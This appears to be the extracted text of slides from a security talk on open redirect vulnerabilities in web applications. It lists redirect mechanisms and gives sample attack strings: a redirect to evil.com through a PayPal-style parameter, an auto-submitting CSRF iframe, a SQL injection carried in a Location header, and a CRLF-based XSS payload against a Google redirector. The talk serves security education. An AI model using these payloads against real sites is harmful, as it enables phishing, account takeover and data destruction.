Open Redirects: Any functionality on a web application that can be used to redirect users to arbitrary resources
301 Moved Permanently
302 Found
303 See other
307 Temporary redirect (HTTP 1.1 only)
<meta http-equiv="refresh"
content="0;URL=scheme://authority/">
Refresh: 0;url=scheme://authority
location = ... ;
location.replace(...);
location.assign(...);
location.href = ... ;
document.URL = ... ;
...
https://www.paypal.com/de/cgi-bin/?
id=xjkfdsKJHSUOSKFjauhhsdhkfd8793004
jkhfdsJHfds98fdskjJxxjkFjksdf&cmd=_ba
ck-to-portal&portal_url=https://evil.com
The problem is that the current contents of the address bar are about the only security indicator you have in the browser.[...] If you make security decisions based on onmouseover tooltips, link text or anything along these lines, and do not examine the address bar of the site you are ultimately interacting with, there is very little any particular web application can do to save you" -- Michal Zalewski
<input type="button" value="edit" onclick="location.href='editprofile.php';">
<iframe src='data:text/html,<form method=post action="PATH"></form><script>document.forms[0].submit()</script>'></iframe>
<script language="JavaScript" type="text/JavaScript">
window.location.href="<GET based CSRF>";
</script>
http://domainA/?redir_url=http://domainB/&signature=XXX
Search for hashbang features:
http://domain.com/#!/path/redir
redirects to...
http://domain.com/path/redir
@Nirgoldshlager pwned Facebook doing this
If validator follows redirects you could be in trouble:
HTTP/1.1 301 Moved Permanently
Date: Mon, 11 Feb 2013 22:42:17 GMT
Location: http://target.com/viewuser.php?name='; DROP TABLE users; --
Also if responses differ for valid/invalid URLs you may be leaking intranet info:
...and always monitor all server-side requests
a) SSO deeplinking: user sessions tend to expire so a redirection param is carried along during re-authentication process
b) OAuth2: Authorization framework usually badly implemented. @homakov and @isciurus pwned it several times chaining Open Redirs with other flaws. Open redirections lie at the heart of their PoCs.
GET http://goto.ext.google.com/%08%0a%0d%0a
%0a%3cscript%3eprompt(document.domain)%3c%2fscript%3e
HTTP/1.1 301 Moved Permanently
Date: Mon, 11 Feb 2013 22:42:17 GMT
Content-Type: text/html
Server: Google Frontend
Content-Length: 41
<script>prompt(document.domain)</script>
%08 deletes Location header so body injection kicks in
Care if...
(Maybe you shouldn't be doing most of these anyway)
Don't worry, just carry on clicking on links, BUT...